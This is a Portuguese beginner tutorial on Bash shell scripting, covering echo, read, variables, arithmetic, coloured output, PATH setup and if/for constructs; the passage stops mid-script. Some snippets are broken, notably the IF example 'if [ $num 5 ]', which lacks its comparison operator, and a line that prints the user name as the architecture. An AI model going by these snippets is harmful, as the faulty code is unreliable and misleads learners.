Para remover o script criado pelo código acima, o arquivo 03-olauser.sh, use o mouse e o gerenciador de arquivos ou copie e cole o comando abaixo no mesmo terminal onde executou o código:

.

unset VALOR ; sleep 2 ; rm 03-olauser.sh ; sleep 2 ; ls -t ; sleep 2 ; exit

.

TEMOS VÁRIOS COMANDOS MAIS USADOS EM SHELL SCRIPT:

.

Operadores Aritméticos:

+ Adição
- Subtração
* Multiplicação
/ Divisão
% Módulo
** Exponenciação

.

TEM ESTES COMANDOS ABAIXO:

.

awk cat cd chmod cut date diff echo find grep head kill ls printf rev scp sed seq sort ssh tac tail top

.

MAIS COMANDOS QUE VOCÊ PODE USAR EM SHELL SCRIPT:

.

echo Imprime texto na tela
read Captura dados do usuário e coloca numa variável
exit Finaliza o script
sleep Dá uma pausa em segundos no script
clear Limpa a tela
if Controle de fluxo que testa uma ou mais expressões
case Controle de fluxo que testa várias expressões ao mesmo tempo
for Controle de fluxo que testa uma ou mais expressões
while Controle de fluxo que testa uma ou mais expressões

.

O MAIS IMPORTANTE É ENTENDER: if, then, else, case, for e while. ISTO É MAIS PARA O FINAL.

.

Porém, podemos de repente fazer tudo ao contrário!

Podemos porque os melhores scripts e tutoriais já foram criados.

Aqui a gente dá um pulo e entende coisas impressionantes sobre shell script.

Graças ao mestre Carlos E. Morimoto.

Veja só:

.

Um script para pegar arquivo de vídeo da internet e converter para .mp3 e depois se quiser pegar o vídeo (faça o teste):

.

#!/bin/bash

# Nome do script: 04-youtube_download-mp3.sh

# Na minha home crio uma pasta bin e dentro desta pasta bin coloco os scripts. Nesta pasta bin/ crio uma pasta chamada youtube-dl assim:

# cd ; mkdir -p bin/youtube-dl

# Este script eu coloco na pasta bin/

echo
echo 'Obter arquivo de áudio'
sleep 2

echo
echo "Digite a URL do arquivo a baixar"

read arquivo
cd ; cd bin/ ; cd youtube-dl/ ; youtube-dl --extract-audio --audio-format mp3 ${arquivo}

echo -e 'Gostaria de obter arquivo de video?\n \nCaso não queira digite:\n \nCtrl+C'
sleep 3

echo
echo "Digite a URL do arquivo a baixar"

read arquivo
cd ; cd bin/ ; cd youtube-dl/ ; youtube-dl ${arquivo}

# Fim do script

.

Para scripts mais completos, precisamos começar a usar as operações lógicas, que permitem que o script tome decisões. O formato mais básico é o "se, então, senão", que no shell script é representado pelos operadores "if", "then" e "else"
.

Imagine que você está fazendo um script conversor de vídeos, que é capaz de gerar arquivos em quatro diferentes formatos. O script começa perguntando qual formato usar e, de acordo com a resposta, executa os comandos apropriados para fazer a conversão.

Para simplificar, vamos fazer com que o script simplesmente converta todos os arquivos dentro do diretório atual, em vez de perguntar quais arquivos converter ou de exibir uma caixa de seleção.

A parte da pergunta poderia ser feita com o "echo", como no exemplo anterior. Como agora são várias linhas de texto, usei aspas simples ( ' ) em vez de aspas duplas. As aspas simples permitem que você inclua quebras de linha e caracteres especiais dentro do texto, fazendo com que o shell simplesmente escreva tudo literalmente:
.

echo 'Escolha o formato de saída:
1) MPEG4, 320x240 (vídeos no formato 4:3)
2) MPEG4, 320x176 (vídeos em formato wide)
3) Real Player, 320x240 (vídeos no formato 4:3)
4) Real Player, 320x176 (vídeos em formato wide)
(Responda 1, 2, 3 ou 4, ou qualquer outra tecla para sair)'
read resposta

.

No final deste trecho, teríamos a variável "resposta", que armazenaria um número de 1 a 4. Precisamos agora fazer com que o script decida o que fazer de acordo com a resposta.
.

O jeito mais simples de fazer isso seria simplesmente colocar um bloco com 4 comandos "if" (se), um para cada possibilidade. Cada "if" é sempre acompanhado por um "then" (então) e um "fi" (fim do se), como em:

if [ "$resposta" = "1" ]; then
[comandos ...]
fi
if [ "$resposta" = "2" ]; then
[comandos ...]
fi
if [ "$resposta" = "3" ]; then
[comandos ...]
fi
if [ "$resposta" = "4" ]; then
[comandos ...]
fi

.
Uma forma mais elegante (e mais à prova de falhas), seria usar o "elif" (que poderia ser traduzido para "senão se") e o "else" (senão), como em:

if [ "$resposta" = "1" ]; then
[comandos ...]
elif [ "$resposta" = "2" ]; then
[comandos ...]
elif [ "$resposta" = "3" ]; then
[comandos ...]
elif [ "$resposta" = "4" ]; then
[comandos ...]

else
echo "Você digitou uma opção inválida. O script termina aqui."
fi

.

Como pode ver, ao usar o elif você não precisa mais incluir um "fi" para cada possibilidade. Outra vantagem é que você pode agora incluir um "else" no final, que faz com que o script responda com uma mensagem de erro ao receber alguma resposta que não estava esperando. Dentro de cada uma das condições, você incluiria um bloco de comandos destinado a gerar os arquivos convertidos com os parâmetros correspondentes, como em:

if [ "$resposta" = "1" ]; then
for i in *; do
mencoder -oac mp3lame -lameopts cbr:br=128 -ovc lavc -lavcopts \
vcodec=mpeg4:vbitrate=512 -ofps 16 -vf scale=320:176 -o "c-$i" "$i"

done

elif [ "$resposta" = "2" ]; then
[o resto do script...]

.

Esse comando gigante que se esparrama pela terceira e a quarta linha é um comando de conversão do mencoder (um pequeno utilitário de conversão de arquivos de mídia em modo texto, que é bastante flexível), que gera um arquivo de vídeo otimizado para ser assistido em smartphones. Esse é o tipo de comando que é longo demais para ser escrito manualmente, mas que pode perfeitamente ser usado através de um script.

Veja que a variável "i" é usada no final da quarta linha, para indicar o nome do arquivo. O "c-$i" "$i" faz com que o script adicione o prefixo "c-" no nome dos arquivos convertidos, permitindo que eles sejam incluídos na pasta sem apagar os arquivos originais.

O comando do mencoder é colocado dentro de outra condicional, agora usando o "for" (enquanto), que permite que o script execute um conjunto de comandos repetidamente.

No exemplo, ele é usado para fazer com que o comando de conversão do mencoder seja executado uma vez para cada arquivo dentro da pasta. Ao ser executado, a variável "i" (poderia ser qualquer outro nome) recebe o nome do primeiro arquivo, o que faz com que ele seja convertido.

Ao chegar no "done", o interpretador volta à linha inicial e a variável "i" recebe agora o nome do segundo arquivo. O processo é então repetido para cada um dos arquivos da pasta, até o último (a lista dos arquivos a converter é gerada pelo interpretador no início do script, por isso não existe o risco do conversor ficar em loop). O "for i in *; do" poderia ser traduzido como "para cada arquivo dentro da pasta atual, execute".
.

Confere este script abaixo:

.

#!/bin/bash # Onde o script vai rodar

# Exemplo de instrução IF

echo "Script para estudo de Shell Script - Função IF" # Exibe a frase entre ""

echo "Digite um número de 0 a 10:" # Exibe a frase entre ""

read num # Pega a resposta do user e salva na variável "num"

if [ $num 5 ] ; then # Caso a variável "num" seja maior que 5, faça

echo "Vc digitou o número $num, que é maior que 5" # Exibe a frase entre ""

else # Caso contrário...

echo "Voce não digitou um número válido" # Exibe a frase entre ""
fi

# Fim do script
.

AGORA VOLTEMOS AO PRINCÍPIO.

.

ESCOLHER O DIRETÓRIO ONDE COLOCAR O SCRIPT

Para que o script possa ser executado de qualquer parte do sistema, mova-o para um diretório que esteja no seu PATH. Para ver quais são estes diretórios, abra agora o terminal pelo menu do sistema e digite o comando:

echo $PATH

.

Exemplo:

~ $echo $PATH
/home/eu_user/bin:/sbin:/bin:/usr/sbin:/usr/bin:/snap/bin:/home/eu_user/bin

.

Se não tiver permissão de mover para um diretório do PATH, deixe-o dentro de seu diretório pessoal ($HOME). Digite no terminal: $HOME

.

CRIAR O ARQUIVO E COLOCAR NELE OS COMANDOS

Abra pelo menu do sistema o editor de texto gedit, pluma, leafpad, mousepad ou outro editor de textos de sua preferência para colocar todos os comandos dentro do arquivo.

.

COLOQUE A CHAMADA DO SHELL (shebang) NA PRIMEIRA LINHA

A primeira linha do script deve ser:

#!/bin/bash

.

Deve ser assim para que ao ser executado, o sistema saiba que é o BASH quem irá interpretar estes comandos.

.

TORNE O SCRIPT UM ARQUIVO EXECUTÁVEL

.

Use o seguinte comando para que seu script seja reconhecido pelo sistema como um comando executável:

.

chmod +x nome-do-teu-shellscript.sh

.

PARA PERMITIR QUE TODOS OS USUÁRIOS POSSAM EXECUTAR O SCRIPT:

.

chmod a+x nome-do-teu-shellscript.sh

.

EXECUTE O SCRIPT:

./nome-do-teu-shellscript.sh (Aqui "./" representa o diretório atual)

.

/home/seu-usuário/bin/nome-do-teu-shellscript.sh (Aqui informa onde está o script para que o bash execute em outra pasta)

.

BASH EXECUTANDO COMANDOS

.

Shell script é uma linguagem de script usada em vários sistemas operacionais, com diferentes dialetos, dependendo do interpretador de comandos utilizado.

.

Um exemplo de interpretador de comandos é o bash, usado na grande maioria das distribuições GNU/Linux.

.

A maior parte dos usuários classificam shell script como uma linguagem de fácil aprendizagem. Mas não é tão fácil assim. O primeiro passo é, saber o que se deseja fazer, então ver qual o código que executa este comando em shell e aí criar, basta escrever o código em algum editor de texto e salvar. Veja só por exemplo, que de tempos em tempos você quer saber informações do sistema, instalar programas, remover programas, converter/alterar/escrever arquivos, fazer backups, adicionar informações, remover informações, criar/mover/duplicar pastas, arquivos etc.

.

AGORA ABRE O TERMINAL E DIGITA COMANDOS, POR EXEMPLO, DIGITE ESTES COMANDOS ABAIXO UM DE CADA VEZ:

.

apropos shell

whereis bash

whatis bash

echo $SHELL

clear

echo

echo ''

echo ""

echo "Olá!"

printf 'Bem vindo ao bash!' (Aperte a tecla enter e digite: ls)

echo '#!/bin/bash'

echo "#!/bin/bash"

ls -t

ls -a

echo ; echo "Olá!" ; echo

echo -e 'Bom\nDia\nMundo!'

echo -e "Bom\nDia\nMundo!"

echo "Hello world!"

echo "Hello "world"!"

echo "Hello \"world\"!"

echo -e "1\t2\t3"

echo -e '1\t2\t3'

echo -e "Nós\tVós\tEles(as)"

echo -e 'Nós\tVós\tEles(as)'

printf "Hello world" (Aperte a tecla enter e digite: df -h)

pwd

clear

ls -ta

sleep 7

echo ; echo 'Olá!' ; sleep 3 ; ls -t

free -h -t

free -th

sleep 4

date

date -d "yesterday"

date -d "2 days ago"

date +"%d/%m/%Y"

cal

du -h

clear

uptime

uname -a

free -tmlh

whatis df

df -a -h

df -k -l

df -T -m

whatis history

history

echo ; whoami ; echo

ls ; echo ; pwd ; echo

echo ; ls -at ; echo

echo "sou \n um \n texto"

echo -e "sou \n um \n texto"

whatis du

du *

ls -lah

du -ach

lsb_release

lsb_release -a

whatis cat

cat /etc/hostname

cat -n /etc/hostname

cd ..

pwd

VARIAVEL="Meu diretório atual é o `pwd`"

echo $VARIAVEL

unset VARIAVEL

echo $VARIAVEL

ls

cd -

pwd

ls

clear

echo ; echo 'df: Relata o espaço de disco usado pelo sistema (Usado e Livre)' ; echo ; df -h ; echo

ls -hat

echo ; echo "du: Relata o espaço utilizado no disco de tal arquivo ou diretório" ; echo ; du -hcs ; echo

echo ; echo 'env (Este comando oferece uma lista de variáveis. Entre elas PWD, USER, SESSION_MANAGER e LANG)' ; sleep 4 ; echo ; env ; echo

clear

echo $PWD

echo ${PWD}

echo $USER

echo "Eu estou logado como usuário $USER"

echo $SESSION_MANAGER

echo ${SESSION_MANAGER}

echo $LANG

VALOR="Linux"

echo $VALOR

echo ${VALOR}

echo $VALOR $VALOR

echo ${VALOR} ${VALOR}

VALOR='ls -t'

$VALOR

${VALOR}

VALOR='history'

echo $VALOR

$VALOR

echo ${VALOR}

${VALOR}

unset VALOR

VALOR=$(cat /etc/hostname)

echo $VALOR

$VALOR

clear

VALOR='free -h -t'

$VALOR

${VALOR}

echo $VALOR

echo ${VALOR}

echo VALOR

echo -e '\nSaiba que ao usar o comando read VALOR\n \n(Aperte a tecla enter, digite: "ls" sem aspas e aperte enter.)\n \nDepois execute $VALOR\n \nVamos ver isto logo abaixo:\n'

read VALOR

$VALOR

${VALOR}

read VALOR

.

OBS: Aperte a tecla enter, digite: "uptime" sem aspas e aperte enter.

.

$VALOR

${VALOR}

echo "Entre com o valor para a variável: " ; read VARIAVEL

$VARIAVEL

unset VARIAVEL

VALOR='du -hcs'

echo ; $VALOR ; echo ; $VALOR ; echo

echo ; $VALOR ; sleep 4 ; echo ; $VALOR ; echo

echo ; ${VALOR} ; sleep 4 ; echo ; ${VALOR} ; echo

clear

unset VALOR

echo ; $VALOR

$VALOR

${VALOR}

echo ; ${VALOR}

VALOR='lsb_release -a'

$VALOR

VALOR=$(lsb_release -a)

echo $VALOR

echo -e '\nOlá!\nVamos\nSaber\nOs\nComandos\ndo\nShellscript Linux!'

clear ; echo -e '\n \nOlá!\n \nVamos\n \nSaber\n \nOs\n \nComandos\n \ndo\n \nShellscript Linux!\n'

HOJE=$(lsblk)

echo "Informação sobre dispositivos de bloco: $HOJE"

echo "Informação sobre dispositivos de bloco: ${HOJE}"

HOJE=$(cal)

echo "Informação sobre o calendário atual: $HOJE"

HOJE=$(uptime)

echo "Informação sobre tempo de funcionamento desta máquina: $HOJE"

clear

HOJE=$(lsblk)

echo 'Informação sobre dispositivos de bloco: $HOJE'

echo 'Informação sobre dispositivos de bloco: ${HOJE}'

unset HOJE

echo $HOJE

echo ${HOJE}

echo `expr 3 + 2`

echo $((3+2))

echo `expr 9 + 4`

echo $((9+4))

echo $((2*3))

echo 'dois vezes três é:' $((2*3))

echo $((2*4-2/2+3))

VALOR=44

echo $VALOR

echo $((VALOR*1))

echo $((VALOR*2))

echo $((VALOR*3))

echo $VALOR

VALOR=$((VALOR+1))

echo $VALOR

VALOR=$((VALOR+11))

echo $VALOR

VALOR=$((VALOR+1))

echo $VALOR

VALOR=$((VALOR+11))

echo $VALOR

unset VALOR

echo $VALOR

VALOR="echo -e \nBom\nDia\nMundo\nLinux\n"

$VALOR

echo $VALOR

echo ${VALOR}

VALOR=$(uname -a)

echo $VALOR

HOJE=$(arch)

echo $HOJE

clear

VALOR=$(uname -a) ; echo ; echo "Informação sobre o kernel: $VALOR" ; sleep 4 ; echo ; VALOR=$(arch) ; echo "Informação sobre a arquitetura do sistema: $USER" ; echo ; sleep 2

unset VALOR

unset HOJE

clear

printf "%-5s %-10s %-4s\n" No Nome Pontos

printf "%-5s %-10s %-4.2f\n" 1 Marta 8

printf "%-5s %-10s %-4.2f\n" 2 Joel 9

printf "%-5s %-10s %-4.2f\n" 3 Carlos 7

echo -e "\e[1;31m Este é o texto em vermelho \e[0m"

echo -e "\e[1;32m Este é o texto em verde \e[0m"

echo -e "\e[1;32m Este é o \e[1;34mtexto \e[1;31mmisturado \e[0m"

VALOR="echo -e \e[1;31m\nBom\nDia\nMundo\nLinux\n\e[0m"

$VALOR

echo $VALOR

echo ${VALOR}

unset VALOR

$VALOR

echo $VALOR

unset HOJE

echo $HOJE

clear

exit
.

Muito bom que você digitou um comando de cada vez.

Os comandos mais longos pode copiar e colar no terminal se quiser, mas no início seria melhor digitar.

Saiba que a partir deste momento você já está entendendo coisas extremamente úteis para escrever shellscript usando o Bash!

Uma coisa interessante sobre a maior parte dos comandos acima, é que para estudar eles, você não precisa estar conectado a internet.

Os comandos acima oferecem informações interessantes e úteis. Podemos colocar todos eles em um só script e executar. Dependendo do caso, é mais fácil que digitar um a um de cada vez toda vez que precisar.

.

SE PUDER, ANTES DE CONTINUAR EXECUTE OS COMANDOS ACIMA QUE TE CHAMARAM MAIS A ATENÇÃO DE NOVO POIS, EXECUTAR ELES É MUITO DIDÁTICO. NADA MELHOR QUE APRENDER PRATICANDO.

.

OBS:

Voce pode ajustar o PATH no Linux tornando mais fácil executar scripts. Em algumas distros parece que só de criar a pasta bin/, atualizar, adicionar o PATH ao .bashrc e reiniciar já deixa tudo pronto.

O .bashrc está na tua home para ver ele aperte as teclas Ctrl+H porque todo arquivo precedido por "." fica oculto no Linux
.

.

ALTERAR A VARIÁVEL DE AMBIENTE PATH (Cuidado!!!) - É por sua conta e risco.

.

Criar um subdiretório no seu diretório local, para guardar seus scripts e seus programas compilados.

.

Pode informar este diretório específico ao PATH.

.

Você pode ver o conteúdo da variável de ambiente $PATH com o comando echo:

echo $PATH

.

Crie um subdiretório, no seu home, chamado ‘bin’, e o inclua no PATH. Assim:

whoami

cd

pwd

mkdir bin

ls -t

export PATH=$PATH:$HOME/bin

echo $PATH

.

Se quiser torná-la permanente, no final do arquivo ‘.bashrc’ inclua a linha abaixo copiando e colando ela no .bashrc usando um editor de texto:

export PATH=$PATH:$HOME/bin

.

Pode fazer isto pelo terminal também:

cd ; echo 'export PATH=$PATH:$HOME/bin' >> .bashrc

.

TALVEZ NÃO SEJA NECESSÁRIO MAS:

.

ACRESCENTAR O CAMINHO ‘/home/seu-usuario-whoami/bin’ AO PATH DE USUÁRIO.

.

Acrescentando o novo valor à variável $PATH:

cd

whoami

PATH=$PATH:/home/seu-usuario-whoami/bin/

.

Para tornar o valor, que você quiser, permanente, faça o ajuste da variável dentro do arquivo ‘.profile’ ou ‘.bash_profile’

export PATH="$HOME/bin:$HOME/.local/bin:$PATH"

.

Exemplo:

cd

pwd

ls -a

echo 'PATH=$PATH:/home/seu-usuario-whoami/bin/' >> .profile

ls -a -t

.

PARA FUNCIONAR, ATUALIZE E REINICIE O SISTEMA. COMANDO PARA REBOOT:

sudo shutdown -r now

.

VERIFICANDO A NOVA VARIÁVEL:

echo $PATH

.

LINUX SHELL SCRIPT BRINCANDO COM 5 VARIÁVEIS:

#!/bin/bash

clear

# Este script testa o uso de variáveis

# Definindo 5 variáveis

echo ; echo 'Definindo 5 variáveis em 10 segundos.' ; sleep 3 ; echo

VALOR1='ls -t' ; sleep 2 ; VALOR2='pwd' ; sleep 2 ; VALOR3='cal' ; sleep 2 ; VALOR4='uptime' ; sleep 2 ; VALOR5='whoami' ; sleep 2

# Executando as 5 variáveis

echo 'Executando as 5 variáveis com explicações.' ; sleep 4 ; echo

echo 'Vamos listar o conteúdo desta pasta:' ; echo ; $VALOR1 ; sleep 4 ; echo ; echo 'Vamos saber onde estamos localizados no sistema:' ; sleep 4 ; echo ; $VALOR2 ; sleep 4 ; echo ; echo 'Vamos ver o calendário atual' ; sleep 4 ; echo ; $VALOR3 ; echo ; echo 'Vamos saber o tempo de funcionamento da máquina:' ; sleep 4 ; echo ; $VALOR4 ; sleep 4 ; echo ; echo 'Vamos saber qual é o usuário logado' ; sleep 4 ; echo ; $VALOR5 ; echo

sleep 5

echo 'Executando apenas as variáveis:' ; echo ; $VALOR1 ; sleep 2 ; $VALOR2 ; sleep 2 ; $VALOR3 ; sleep 2 ; $VALOR4 ; sleep 2 ; $VALOR5

# Removendo as 5 variáveis pois este script é apenas um teste

echo ; echo 'Removendo as 5 variáveis em 10 segundos, pois este script é apenas um teste' ; sleep 4 ; echo

unset VALOR1 ; sleep 2 ; unset VALOR2 ; sleep 2 ; unset VALOR3 ; sleep 2 ; unset VALOR4 ; sleep 2 ; unset VALOR5 ; sleep 2

echo ; echo '10 seg para testar as variáveis que não devem ecoar valores' ; sleep 4 ; echo

echo 'Testando as variáveis:' ; echo ; $VALOR1 ; sleep 2 ; $VALOR2 ; sleep 2 ; $VALOR3 ; sleep 2 ; $VALOR4 ; sleep 2 ; $VALOR5

exit

# Fim do script

.

LINUX SHELL SCRIPT - OlaUsuario.sh

.

#!/bin/bash

# Titulo: 01-olauser.sh

clear

USERL='Usuário-Linux'

echo

echo "Olá $USERL"

sleep 2

echo

echo "Tchau $USERL"

sleep 2

clear

exit

# Fim do script

.

Abra o terminal pelo menu do sistema. Abra o gerenciador de arquivos. Coloque os dois lado a lado na tela do computador. Execute o script acima copiando e colando no terminal o código abaixo que vai executar o script e depois vai apagar o script:

.

cd ; mkdir praticando-shellscript ; cd praticando-shellscript/ ; echo -e '#!/bin/bash\n \n# Titulo: 01-olauser.sh\n \nclear\n \nUSERL=Usuário-Linux\necho\necho Olá $USERL\n \nsleep 4\necho\necho Tchau $USERL\n \nsleep 4\necho\n \nsleep 2\nclear\n \nexit\n \n# Fim do script' > 01-olauser.sh ; chmod a+x 01-olauser.sh ; sh 01-olauser.sh ; sleep 2 ; cd .. ; unset USERL ; rm -rf praticando-shellscript/ ; echo ; pwd ; sleep 2 ; echo ; ls -t ; sleep 2 ; $USERL

.

LINUX SHELL SCRIPT IMPRIMIR SAÍDA COLORIDA:

.

Um script pode usar sequências de escape para produzir textos coloridos no terminal. As cores são representadas por códigos, temos 9 códigos:

reset = 0

black = 30

red = 31

green = 32

yellow = 33

blue = 34

magenta = 35

cyan = 36

white = 37

.

O caractere de escape para vermelho é: "\e[1;31m" após o texto em vermelho, usa "\e[0m" para resetar a cor voltando ao padrão. Substitua o código 31 por outra cor que desejar. Temos 9 códigos: 0, 30, 31, 32, 33, 34, 35, 36, 37.

.

Exemplo:

echo -e "\e[1;36m texto que vai ficar colorido \e[0m"

.

PARA IMPRIMIR UM TEXTO COLORIDO USE ESTES EXEMPLOS ABAIXO:

.

echo -e "\e[1;34m Este é o texto em azul! \e[0m"

echo -e "\e[1;30m Este é o texto em preto! \e[0m"

echo -e "\e[1;32m Este é o texto em verde! \e[0m"

echo -e "\e[1;33m Este é o texto em amarelo! \e[0m"

echo -e "\e[1;35m Este é o texto em magenta! \e[0m"

echo -e "\e[1;36m Este é o texto em cyan! \e[0m"

echo -e "\e[1;37m Este é o texto em branco! \e[0m"

.

PODEMOS IMPRIMIR TODOS ESTE TEXTOS AO MESMO TEMPO PARA TESTAR.

.

Copie o código que eu escrevi abaixo e cole no seu terminal:

.

echo -e "\e[1;34m Este é o texto em azul! \e[0m" ; sleep 3 ; echo -e "\e[1;30m Este é o texto em preto! \e[0m" ; sleep 3 ; echo -e "\e[1;32m Este é o texto em verde! \e[0m" ; sleep 3 ; echo -e "\e[1;33m Este é o texto em amarelo! \e[0m" ; sleep 3 ; echo -e "\e[1;35m Este é o texto em magenta! \e[0m" ; sleep 3 ; echo -e "\e[1;36m Este é o texto em cyan! \e[0m" ; sleep 3 ; echo -e "\e[1;37m Este é o texto em branco! \e[0m"

.

DÁ PARA CRIAR UM SHELL SCRIPT COM ISTO VEJA SÓ:

.

#!/bin/bash

clear

echo

echo -e "\e[1;34mVamos criar uma \e[1;31mpasta. \e[0m"

echo

sleep 4

mkdir pasta-teste

echo

echo -e "\e[1;30mVamos ver se a \e[1;31mpasta \e[1;30mfoi criada. \e[0m"

echo

sleep 4

ls -t

echo

sleep 3

echo -e "\e[1;32mVamos criar um \e[1;31marquivo de texto \e[1;32mvazio \e[0m"

echo

sleep 4

> texto-teste.txt ; echo ; ls -t ; echo ; sleep 5 ; echo

echo -e "\n\e[1;33mVamos \e[1;31mescrever \e[1;33me \e[1;35mmover \e[1;33mo \e[1;32mtexto-teste.txt \e[1;33mpara:\n \n\e[1;34mpasta-teste\n \e[0m"

echo

sleep 4

echo -e "Esta frase\nserá escrita\nem\ntexto-teste.txt" > texto-teste.txt ; sleep 3 ; mv texto-teste.txt pasta-teste

echo

echo -e "\n\e[1;35mEntrar em \e[1;32mpasta-teste \e[1;35me conferir o conteúdo dela \e[0m\n"

echo

cd pasta-teste/ ; echo ; ls -t ; sleep 4 ; echo ; pwd ; echo ; sleep 4

echo

echo -e "\e[1;36mCopiando \e[1;37mtexto-teste.txt \e[1;36mpara \e[1;34mtexto-teste2.txt \e[0m"

echo

sleep 4

cp texto-teste.txt texto-teste2.txt ; echo ; ls -t ; echo ; sleep 4 ; echo ; pwd ; echo ; sleep 4

echo -e "\e[1;37mFim do script. \e[1;31mPode apagar tudo \e[1;32musando o \e[1;37mmouse. \e[0m"

echo

sleep 4

echo -e "\e[1;37mOu pode executar o comando: \e[1;31mrm -rf pasta-teste\e[1;32m mas antes confere os arquivos de texto.\e[0m"

echo

sleep 4

exit

# Fim do script

.

COMANDOS MAIS USADOS EM SHELL SCRIPT NO LINUX

.

ASPAS SIMPLES ' E ASPAS DUPLAS ":

.

Aspas duplas permitem interpretar caracteres especiais.

Aspas simples desabilitam esta interpretação.

Ambas são úteis.

.

CARACTERES DE ESCAPE:

echo "Hello \"world\"!"

.

TODO SCRIPT ESCRITO PARA RODAR NO BASH COMEÇA COM:

#!/bin/bash

Após "#!/bin/bash" de um espaço entre linhas e então pode começar a digitar comandos.

.

Exemplo:

#!/bin/bash

clear

echo ; date ; echo ; sleep 4

echo ; cal ; echo ; sleep 4

echo ; uptime ; echo ; sleep 4

echo ; df -h ; echo ; sleep 4

echo ; free -html ; echo ; sleep 4

echo ; whoami ; echo ; sleep 4

echo ; pwd ; echo ; sleep 4

echo ; ls -at ; echo ; sleep 4

echo ; whereis bash ; echo ; sleep 4

echo ; echo 'Este é o fim do script 01-script.sh' ; echo ; sleep 4

exit

# Fim do script

.

ESTE SCRIPT ÚTIL E INOFENSIVO ACIMA SERÁ SALVO NA PASTA HOME, A PASTA DA CASINHA, USANDO UM EDITOR DE TEXTO E TERÁ O NOME DE:

01-script.sh

.

Posso melhorar/tornar mais amigável este script acima explicando sobre cada comando:

.

#!/bin/bash

clear

echo ; echo 'Hoje é data:' ; echo ; sleep 2

echo ; date ; echo ; sleep 4

echo ; echo 'Hoje pelo calendário é:' ; echo ; sleep 2

echo ; cal ; echo ; sleep 4

echo ; echo 'Esta máquina está funcionando a:' ; echo ; sleep 2

echo ; uptime ; echo ; sleep 4

echo ; echo 'Sobre o tamanho desta pasta:' ; echo ; sleep 2

echo ; df -h ; echo ; sleep 6

echo ; echo 'Sobre a memória RAM:' ; echo ; sleep 2

echo ; free -html ; echo ; sleep 6

echo ; echo 'Você está logado como:' ; echo ; sleep 2

echo ; whoami ; echo ; sleep 4

echo ; echo 'Você está em:' ; echo ; sleep 2

echo ; pwd ; echo ; sleep 4

echo ; echo 'Neste diretório/pasta tem:' ; echo ; sleep 2

echo ; ls -at ; echo ; sleep 6

echo ; echo 'O Bash está em:' ; echo ; sleep 2

echo ; whereis bash ; echo ; sleep 4

echo ; echo 'Este é o fim do script 01-script.sh' ; echo ; sleep 4

exit

# Fim do script

.

No Linux o script deve ter permissão de execução, isto pode ser feito abrindo o terminal pelo menu do sistema e executando o comando:

chmod +x 01-script.sh

.

Depois de salvo você tem que executar o arquivo, dessa forma:

./01-script.sh

.

Viu alguma utilidade neste pequeno script?

Então siga adiante.

.

IMPORTANTE:

Para estudar shell script tem que ser como usuário normal. Se você está acessando o sistema como usuário administrador (root), saia e entre como um usuário normal. É muito perigoso estudar shell usando o superusuário, você pode danificar o sistema com um comando errado.

Ok, continuemos.

.

Para exibir um manual do bash ou mesmo do comando 'chmod', digite na linha de comando:

man bash

man chmod

.

É possível executar o arquivo mesmo sem modificar a permissão de execução, por exemplo, se for um arquivo escrito para ser executado pelo bash, usar:

sh ./"Nome do arquivo, sem aspas"

.

SHELL

É importante saber o que é um Shell.

Na linha de comandos de um shell, podemos utilizar diversos comandos um após o outro, ou mesmo combiná-los numa mesma linha.

Se colocarmos diversas linhas de comandos em um arquivo texto simples, teremos em mãos um Shell Script, ou um script em shell, já que Script é uma descrição geral de qualquer programa escrito em linguagem interpretada, ou seja, não compilada.

Outros exemplos de linguagens para scripts são o PHP, Perl, Python, JavaScript e muitos outros. Podemos então ter um script em php, um script perl e assim em diante.

Uma vez criado, um ShellScript pode ser reutilizado quantas vezes for necessário.

Seu uso, portanto, é indicado na automação de tarefas que serão realizadas mais de uma vez.

Todo sistema Unix e similares são repletos de scripts em shell para a realização das mais diversas atividades administrativas e de manutenção do sistema.

Os arquivos de lote (batch - arquivos *.bat) do Windows são também exemplos de ShellScripts, já que são escritos em linguagem interpretada e executados por um Shell do Windows, em geral o command.com ou hoje em dia o cmd.exe.

Os Shells do Unix, porém, são inumeras vezes mais poderosos que o interpretador de comandos do Windows, podendo executar tarefas muito mais complexas e elaboradas.

.

OS SCRIPTS SHELL PODEM SER AGENDADOS PARA EXECUÇÃO ATRAVÉS DA TABELA CRONTAB, ENTRE OUTRAS COISAS.

.

O shell é uma ferramenta indispensável aos administradores de sistemas Unix.

O Shell mais comum e provavelmente o que possui mais scripts escritos para ele é também um dos mais antigos e simples, o sh.

Este shell está presente em todo o sistema tipo Unix, incluído o Linux, FreeBSD, AIX, HP-UX, OpenBSD, Solaris, NetBSD, Irix, etc. Por ser o shell nativo mais comum é natural que se prefira escrever scripts para ele, tornando o script mais facilmente portável para outro sistema.

Os Shells não estão diretamente associados a um ou outro tipo de Unix, embora várias empresas comerciais tenham suas próprias versões de Shell. No software livre o Shell utilizado em um sistema em geral é exatamente o mesmo utilizado em outro. Por exemplo, o bash encontrado no Linux é o mesmo shell bash encontrado no FreeBSD e pode também facilmente ser instalado no Solaris, Windows através do Cygwin [1] ou outros sistemas Unix comerciais para passar a ser utilizado como interface direta de comandos ou como interpretador de scripts. O mesmo acontece com o tcsh e vários outros shells desenvolvidos no modelo de software livre.

.

INTERAGIR COM O USUÁRIO

.

Para o script ficar mais completo, vamos colocar uma interação mínima com o usuário, pedindo uma confirmação antes de executar os comandos.

.

#!/bin/bash

clear

echo "Vou buscar os dados do sistema. Posso continuar? [S/n] "

read RESPOSTA

test "$RESPOSTA" = "n" && exit

echo ; echo "Data e Horário:" ; echo

date

echo

echo "Uso do disco:" ; echo

df -ht

echo

echo "Usuários conectados:" ; echo

w

echo ; echo "Seu nome de login é:"

whoami

echo

exit

# Fim do script

.

O comando "read" leu o que o usuário digitou e guardou na variável RESPOSTA. Logo em seguida, o comando "test" verificou se o conteúdo dessa variável era "n". Se afirmativo, o comando "exit" foi chamado e o script foi finalizado. Nessa linha há vários detalhes importantes:

O conteúdo da variável é acessado colocando-se um cifrão "$" na frente

O comando test é útil para fazer vários tipos de verificações em textos e arquivos

O operador lógico "&&", só executa o segundo comando caso o primeiro tenha sido OK. O operador inverso é o "||"

.

MELHORAR O CÓDIGO DO SCRIPT

Com o tempo, o script vai crescer, mais comandos vão ser adicionados e quanto maior, mais difícil encontrar o ponto certo onde fazer a alteração ou corrigir algum erro. Para poupar horas de estresse, e facilitar as manutenções futuras, é preciso deixar o código visualmente mais agradável e espaçado, e colocar comentários esclarecedores.

.

#!/bin/bash

# nome-do-script - script que mostra informações sobre o sistema

# Autor: Fulano da Silva

# Pede uma confirmação do usuário antes de executar

clear

echo "Vou buscar os dados do sistema. Posso continuar? [S/n]"

read RESPOSTA

# Se ele digitou 'n', vamos interromper o script

